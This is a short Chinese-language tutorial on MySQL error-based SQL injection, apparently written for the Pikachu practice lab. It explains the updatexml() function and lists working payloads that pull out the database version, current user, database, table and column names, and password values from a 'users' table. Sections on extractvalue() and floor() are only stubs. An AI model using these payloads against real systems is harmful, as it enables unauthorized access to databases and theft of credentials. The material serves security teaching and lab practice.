sql 报错注入
简介
sql 报错注入
基于函数报错注入
一般来说是有两类即基于updatexml()
注入和extractvalue()
注入,而像我们常见的select/insert/update/delete
注入都可以使用报错方式来获取信息也都属于updatexml()
注入一类。
前提
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
updatexml()原理
函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
规则
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
案例
爆数据库版本信息
' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or '
爆数据库当前用户
' or updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) or '
爆数据库
' or updatexml(1,concat(0x7e,database()),0) or '
爆表
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0) or '
// 或者
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0) or '
爆字段
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or '
爆字段内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '
extractvalue()原理
函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor()原理
MYSQL中用来取整的函数.